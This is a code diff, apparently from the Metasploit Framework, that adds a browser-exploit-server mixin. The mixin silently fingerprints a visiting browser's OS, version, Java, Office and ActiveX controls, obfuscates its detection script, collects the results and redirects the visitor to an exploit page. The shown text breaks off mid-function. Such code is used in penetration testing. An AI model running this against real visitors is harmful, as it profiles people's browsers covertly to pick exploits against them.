diff --git a/data/js/detect/addons.js b/data/js/detect/ie_addons.js similarity index 50% rename from data/js/detect/addons.js rename to data/js/detect/ie_addons.js index 277c1fd469..d612bd7c78 100644 --- a/data/js/detect/addons.js +++ b/data/js/detect/ie_addons.js @@ -1,9 +1,47 @@ -window.addons_detect = { }; +window.ie_addons_detect = { }; + +/** + * Returns true if this ActiveX is available, otherwise false. + * Grabbed this directly from browser_autopwn.rb + **/ +window.ie_addons_detect.hasActiveX = function (axo_name, method) { + var axobj = null; + if (axo_name.substring(0,1) == String.fromCharCode(123)) { + axobj = document.createElement("object"); + axobj.setAttribute("classid", "clsid:" + axo_name); + axobj.setAttribute("id", axo_name); + axobj.setAttribute("style", "visibility: hidden"); + axobj.setAttribute("width", "0px"); + axobj.setAttribute("height", "0px"); + document.body.appendChild(axobj); + if (typeof(axobj[method]) == 'undefined') { + var attributes = 'id="' + axo_name + '"'; + attributes += ' classid="clsid:' + axo_name + '"'; + attributes += ' style="visibility: hidden"'; + attributes += ' width="0px" height="0px"'; + document.body.innerHTML += ""; + axobj = document.getElementById(axo_name); + } + } else { + try { + axobj = new ActiveXObject(axo_name); + } catch(e) { + // If we can't build it with an object tag and we can't build it + // with ActiveXObject, it can't be built. + return false; + }; + } + if (typeof(axobj[method]) != 'undefined') { + return true; + } + + return false; +}; /** * Returns the version of Microsoft Office. If not found, returns null. **/ -window.addons_detect.getMsOfficeVersion = function () { +window.ie_addons_detect.getMsOfficeVersion = function () { var version; var types = new Array(); for (var i=1; i <= 5; i++) { diff --git a/data/js/detect/misc_addons.js b/data/js/detect/misc_addons.js new file mode 100644 index 0000000000..434a145791 --- /dev/null +++ b/data/js/detect/misc_addons.js @@ -0,0 +1,64 @@ +window.misc_addons_detect = { }; + +/** + * Returns the Java version + **/ +window.misc_addons_detect.getJavaVersion = function () { + var foundVersion = null; + + // + // This finds the Java version from Java WebStart's ActiveX control + // This is specific to Windows + // + for (var i1=0; i1 < 10; i1++) { + for (var i2=0; i2 < 10; i2++) { + for (var i3=0; i3 < 10; i3++) { + for (var i4=0; i4 < 10; i4++) { + var version = String(i1) + "." + String(i2) + "." + String(i3) + "." + String(i4); + var progId = "JavaWebStart.isInstalled." + version; + try { + new ActiveXObject(progId); + return version; + } + catch (e) { + continue; + } + }}}} + + // + // This finds the Java version from window.navigator.mimeTypes + // This seems to work pretty well for most browsers except for IE + // + if (foundVersion == null) { + var mimes = window.navigator.mimeTypes; + for (var i=0; i foundVersion) { + foundVersion = version; + } + } + } + } + + // + // This finds the Java version from navigator plugins + // This is necessary for Windows + Firefox setup, but the check isn't as good as the mime one. + // So we do this last. + // + if (foundVersion == null) { + var foundJavaString = ""; + var pluginsCount = navigator.plugins.length; + for (i=0; i < pluginsCount; i++) { + var pluginName = navigator.plugins[i].name; + var pluginVersion = navigator.plugins[i].version; + if (/Java/.test(pluginName) && pluginVersion != undefined) { + foundVersion = navigator.plugins[i].version; + break; + } + } + } + + return foundVersion; +} \ No newline at end of file diff --git a/data/js/detect/os.js b/data/js/detect/os.js index 1fdd2deb1f..dccf97d0a7 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -867,6 +867,12 @@ window.os_detect.getVersion = function(){ os_flavor = "7"; os_sp = "SP1"; break; + case "10016720": + // IE 10.0.9200.16721 / Windows 7 SP1 + ua_version = "10.0"; + os_flavor = "7"; + os_sp = "SP1"; + break; case "1000": // IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release ua_version = "10.0"; diff --git a/data/js/network/ajax_download.js b/data/js/network/ajax_download.js index 560d3d22ae..789e58e4a8 100644 --- a/data/js/network/ajax_download.js +++ b/data/js/network/ajax_download.js @@ -1,25 +1,16 @@ function ajax_download(oArg) { - var method = oArg.method; - var path = oArg.path; - var data = oArg.data; + if (!oArg.method) { oArg.method = "GET"; } + if (!oArg.path) { throw "Missing parameter 'path'"; } + if (!oArg.data) { oArg.data = null; } - if (method == undefined) { method = "GET"; } - if (method == path) { throw "Missing parameter 'path'"; } - if (data == undefined) { data = null; } - - if (window.XMLHttpRequest) { - xmlHttp = new XMLHttpRequest(); - } - else { - xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); - } + var xmlHttp = new XMLHttpRequest(); if (xmlHttp.overrideMimeType) { xmlHttp.overrideMimeType("text/plain; charset=x-user-defined"); } - xmlHttp.open(method, path, false); - xmlHttp.send(data); + xmlHttp.open(oArg.method, oArg.path, false); + xmlHttp.send(oArg.data); if (xmlHttp.readyState == 4 && xmlHttp.status == 200) { return xmlHttp.responseText; } diff --git a/data/js/network/ajax_post.js b/data/js/network/ajax_post.js new file mode 100644 index 0000000000..4e6729acfa --- /dev/null +++ b/data/js/network/ajax_post.js @@ -0,0 +1,10 @@ +function postInfo(path, data) { + var xmlHttp = new XMLHttpRequest(); + + if (xmlHttp.overrideMimeType) { + xmlHttp.overrideMimeType("text/plain; charset=x-user-defined"); + } + + xmlHttp.open('POST', path, false); + xmlHttp.send(data); +} \ No newline at end of file diff --git a/data/js/network/xhr_shim.js b/data/js/network/xhr_shim.js new file mode 100644 index 0000000000..0cbdec39ef --- /dev/null +++ b/data/js/network/xhr_shim.js @@ -0,0 +1,15 @@ +if (!window.XMLHTTPRequest) { + (function() { + var idx, activeObjs = ["Microsoft.XMLHTTP", "Msxml2.XMLHTTP", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.3.0"]; + for (idx = 0; idx < activeObjs.length; idx++) { + try { + new ActiveXObject(activeObjs[idx]); + window.XMLHttpRequest = function() { + return new ActiveXObject(activeObjs[idx]); + }; + break; + } + catch (e) {} + } + })(); +} diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 6de74d0f4c..c3eb47b22b 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -681,14 +681,6 @@ protected OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]), OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]), ], Exploit::Remote::HttpServer::HTML) - - # Cache Javascript - @cache_base64 = nil - @cache_ajax_download = nil - @cache_mstime_malloc = nil - @cache_property_spray = nil - @cache_heap_spray = nil - @cache_os_detect = nil end # @@ -747,6 +739,14 @@ protected end + # + # Transfers data using a POST request + # + def js_ajax_post + @cache_ajax_post ||= Rex::Exploitation::Js::Network.ajax_post + end + + # # This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's # suitable for a no-spray technique. There should be an allocation that contains an array of @@ -816,6 +816,14 @@ protected @cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os end + def js_ie_addons_detect + @cache_ie_addons_detect ||= ::Rex::Exploitation::Js::Detect.ie_addons + end + + def js_misc_addons_detect + @cache_misc_addons_detect ||= ::Rex::Exploitation::Js::Detect.misc_addons + end + # Transmits a html response to the supplied client # # HTML evasions are implemented here. diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index b1dd01add0..1da0a5a5a1 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -97,3 +97,5 @@ require 'msf/core/exploit/winrm' # WebApp require 'msf/core/exploit/web' + +require 'msf/core/exploit/remote/browser_exploit_server' diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb new file mode 100644 index 0000000000..cd038438d6 --- /dev/null +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -0,0 +1,503 @@ +# -*- coding: binary -*- + +require 'erb' +require 'rex/exploitation/js' + +### +# +# The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser +# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux. +# +### + +module Msf + module Exploit::Remote::BrowserExploitServer + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + + PROXY_REQUEST_HEADER_SET = Set.new( + %w{ + CLIENT_IP + FORWARDED + FORWARDED_FOR + FORWARDED_FOR_IP + HTTP_CLIENT_IP + HTTP_FORWARDED + HTTP_FORWARDED_FOR + HTTP_FORWARDED_FOR_IP + HTTP_PROXY_CONNECTION + HTTP_VIA + HTTP_X_FORWARDED + HTTP_X_FORWARDED_FOR + VIA + X_FORWARDED + X_FORWARDED_FOR + }) + + # Requirements a browser module can define in either BrowserRequirements or in targets + REQUIREMENT_KEY_SET = { + :source => 'source', # Either 'script' or 'headers' + :ua_name => 'ua_name', # Example: MSIE + :ua_ver => 'ua_ver', # Example: 8.0, 9.0 + :os_name => 'os_name', # Example: Microsoft Windows + :os_flavor => 'os_flavor', # Example: XP, 7 + :language => 'language', # Example: en-us + :arch => 'arch', # Example: x86 + :proxy => 'proxy', # 'true' or 'false' + :office => 'office', # Example: "2007", "2010" + :java => 'java', # Example: 1.6, 1.6.0.0 + :clsid => 'clsid', # ActiveX clsid. Also requires the :method key + :method => 'method' # ActiveX method. Also requires the :clsid key + } + + def initialize(info={}) + super + + # The mixin keeps 'target' so module doesn't lose it. + @target = target + + # See get_profile's documentation to understand what @target_profiles stores + @target_profiles = {} + + # Requirements are conditions that the browser must have in order to be exploited. + @requirements = extract_requirements(self.module_info['BrowserRequirements'] || {}) + + @info_receiver_page = rand_text_alpha(5) + @exploit_receiver_page = rand_text_alpha(6) + @noscript_receiver_page = rand_text_alpha(7) + + register_options( + [ + OptBool.new('Retries', [false, "Allow the browser to retry the module", true]) + ], Exploit::Remote::BrowserExploitServer) + end + + # + # Syncs a block of code + # + # @param block [Proc] Block of code to sync + # + def sync(&block) + (@mutex ||= Mutex.new).synchronize(&block) + end + + # + # Returns the resource (URI) to the module to allow access to on_request_exploit + # + # @return [String] URI to the exploit page + # + def get_module_resource + "#{get_resource.chomp("/")}/#{@exploit_receiver_page}" + end + + # + # Returns the current target + # + def get_target + @target + end + + # + # Returns a hash of recognizable requirements + # + # @param reqs [Hash] A hash that contains data for the requirements + # @return [Hash] A hash of requirements + # + def extract_requirements(reqs) + tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.has_key?(k.to_sym)} + # Make sure keys are always symbols + Hash[tmp.map{|(k,v)| [k.to_sym,v]}] + end + + # + # Sets the target automatically based on what requirements are met. + # If there's a possible matching target, it will also merge the requirements. + # You can use the get_target() method to retrieve the most current target. + # + # @param profile [Hash] The profile to check + # + def try_set_target(profile) + match_counts = [] + target_requirements = {} + + targets.each do |t| + target_requirements = extract_requirements(t.opts) + if target_requirements.blank? + match_counts << 0 + else + match_counts << target_requirements.select { |k,v| + if v.class == Regexp + profile[k] =~ v + else + profile[k] == v + end + }.length + end + end + + if match_counts.max.to_i > 0 + @target = targets[match_counts.index(match_counts.max)] + target_requirements = extract_requirements(@target.opts) + unless target_requirements.blank? + @requirements = @requirements.merge(target_requirements) + end + end + end + + # + # Returns an array of items that do not meet the requirements + # + # @param profile [Hash] The profile to check + # @return [Array] An array of requirements not met + # + def get_bad_requirements(profile) + bad_reqs = [] + + # At this point the check is already done. + # If :activex is true, that means the clsid + method had a match, + # if not, then false. + if @requirements[:clsid] and @requirements[:method] + @requirements[:activex] = 'true' # Script passes boolean as string + end + + @requirements.each do |k, v| + # Special keys to ignore because the script registers this as [:activex] = true or false + next if k == :clsid or k == :method + + if v.class == Regexp + bad_reqs << k if profile[k.to_sym] !~ v + else + bad_reqs << k if profile[k.to_sym] != v + end + end + + bad_reqs + end + + # + # Returns the target profile based on the tag. Each profile has the following structure: + # 'cookie' => + # { + # :os_name => 'Windows', + # :os_flavor => 'something' + # ...... etc ...... + # } + # A profile should at least have info about the following: + # :source : The data source. Either from 'script', or 'headers'. The 'script' source + # should be more accurate in some scenarios like browser compatibility mode + # :ua_name : The name of the browser + # :ua_ver : The version of the browser + # :os_name : The name of the OS + # :os_flavor : The flavor of the OS (example: XP) + # :language : The system's language + # :arch : The system's arch + # :proxy : Indicates whether proxy is used + # + # For more info about what the actual value might be for each key, see HttpServer. + # + # If the source is 'script', the profile might have even more information about plugins: + # 'office' : The version of Microsoft Office (IE only) + # 'activex' : Whether a specific method is available from an ActiveX control (IE only) + # 'java' : The Java version + # + # @param tag [String] Either a cookie or IP + User-Agent + # @return [Hash] The profile found. If not found, returns nil + # + def get_profile(tag) + sync do + return @target_profiles[tag] + end + end + + # + # Updates information for a specific profile + # + # @param target_profile [Hash] The profile to update + # @param key [Symbol] The symbol to use for the hash + # @param value [String] The value to assign + # + def update_profile(target_profile, key, value) + sync do + target_profile[key] = value + end + end + + # + # Initializes a profile + # + # @param tag [String] A unique string as a way to ID the profile + # + def init_profile(tag) + sync do + @target_profiles[tag] = {} + end + end + + # + # Retrieves a tag. + # First it obtains the tag from the browser's "Cookie" header. + # If the header is empty (possible if the browser has cookies disabled), + # then it will return a tag based on IP + the user-agent. + # + # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser + # + def retrieve_tag(request) + tag = request.headers['Cookie'].to_s + + if tag.blank? + # Browser probably doesn't allow cookies, plan B :-/ + ip = cli.peerhost + os = request.headers['User-Agent'] + tag = Rex::Text.md5("#{ip}#{os}") + end + + tag + end + + # + # Registers target information to @target_profiles + # + # @param source [Symbol] Either :script, or :headers + # @param cli [Socket] Socket for the browser + # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser + # + def process_browser_info(source, cli, request) + tag = retrieve_tag(request) + + # Browser doesn't allow cookies. Can't track that, use a different way to track. + init_profile(tag) if request.headers['Cookie'].blank? + target_info = get_profile(tag) + + # Gathering target info from the detection stage + case source + when :script + # Gathers target data from a POST request + update_profile(target_info, :source, 'script') + raw = Rex::Text.uri_decode(Rex::Text.decode_base64(request.body)) + raw.split('&').each do |item| + k, v = item.scan(/(\w+)=(.*)/).flatten + update_profile(target_info, k.to_sym, v) + end + + when :headers + # Gathers target data from headers + # This may be less accurate, and most likely less info. + fp = fingerprint_user_agent(request.headers['User-Agent']) + # Module has all the info it needs, ua_string is kind of pointless. + # Kill this to save space. + fp.delete(:ua_string) + update_profile(target_info, :source, 'headers') + fp.each do |k, v| + update_profile(target_info, k.to_sym, v) + end + end + + # Other detections + update_profile(target_info, :proxy, has_proxy?(request)) + update_profile(target_info, :language, request.headers['Accept-Language'] || '') + + report_client({ + :host => cli.peerhost, + :ua_string => request.headers['User-Agent'], + :ua_name => target_info[:ua_name], + :ua_ver => target_info[:ua_ver] + }) + end + + # + # Checks if the target is running a proxy + # + # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser + # @return [Boolean] True if found, otherwise false + # + def has_proxy?(request) + proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys + !proxy_header_set.empty? + end + + # + # Returns the code for client-side detection + # + # @param user_agent [String] The user-agent of the browser + # @return [String] Returns the HTML for detection + # + def get_detection_html(user_agent) + ua_info = fingerprint_user_agent(user_agent) + os = ua_info[:os_name] + client = ua_info[:ua_name] + + code = ERB.new(%Q| + <%= js_base64 %> + <%= js_os_detect %> + <%= js_ajax_post %> + <%= js_misc_addons_detect %> + <%= js_ie_addons_detect if os == OperatingSystems::WINDOWS and client == HttpClients::IE %> + + function objToQuery(obj) { + var q = []; + for (var key in obj) { + q.push(encodeURIComponent(key) + '=' + encodeURIComponent(obj[key])); + } + return Base64.encode(q.join('&')); + } + + window.onload = function() { + var osInfo = window.os_detect.getVersion(); + var d = { + "<%=REQUIREMENT_KEY_SET[:os_name]%>" : osInfo.os_name, + "<%=REQUIREMENT_KEY_SET[:os_flavor]%>" : osInfo.os_flavor, + "<%=REQUIREMENT_KEY_SET[:ua_name]%>" : osInfo.ua_name, + "<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version, + "<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch, + "<%=REQUIREMENT_KEY_SET[:java]%>" : window.misc_addons_detect.getJavaVersion() + }; + + <% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %> + d['<%=REQUIREMENT_KEY_SET[:office]%>'] = window.ie_addons_detect.getMsOfficeVersion(); + <% + clsid = @requirements[:clsid] + method = @requirements[:method] + if clsid and method + %> + d['activex'] = window.ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>'); + <% end %> + <% end %> + + var query = objToQuery(d); + postInfo("<%=get_resource.chomp("/")%>/<%=@info_receiver_page%>/", query); + window.location = "<%=get_resource.chomp("/")%>/<%=@exploit_receiver_page%>/"; + } + |).result(binding()) + + js = ::Rex::Exploitation::JSObfu.new code + js.obfuscate + + %Q| + + + | + end + + # + # Handles exploit stages. + # + # @param cli [Socket] Socket for the browser + # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser + # + def on_request_uri(cli, request) + case request.uri + when get_resource.chomp("/") + # + # This is the information gathering stage + # + if get_profile(retrieve_tag(request)) + send_redirect(cli, "#{get_resource.chomp("/")}/#{@exploit_receiver_page}") + return + end + + print_status("Gathering target information.") + tag = Rex::Text.rand_text_alpha(rand(20) + 5) + ua = request.headers['User-Agent'] + init_profile(tag) + html = get_detection_html(ua) + send_response(cli, html, {'Set-Cookie' => tag}) + + when /#{@info_receiver_page}/ + # + # The detection code will hit this if Javascript is enabled + # + process_browser_info(source=:script, cli, request) + send_response(cli, '') + + when /#{@noscript_receiver_page}/ + # + # The detection code will hit this instead of Javascript is disabled + # Should only be triggered by the img src in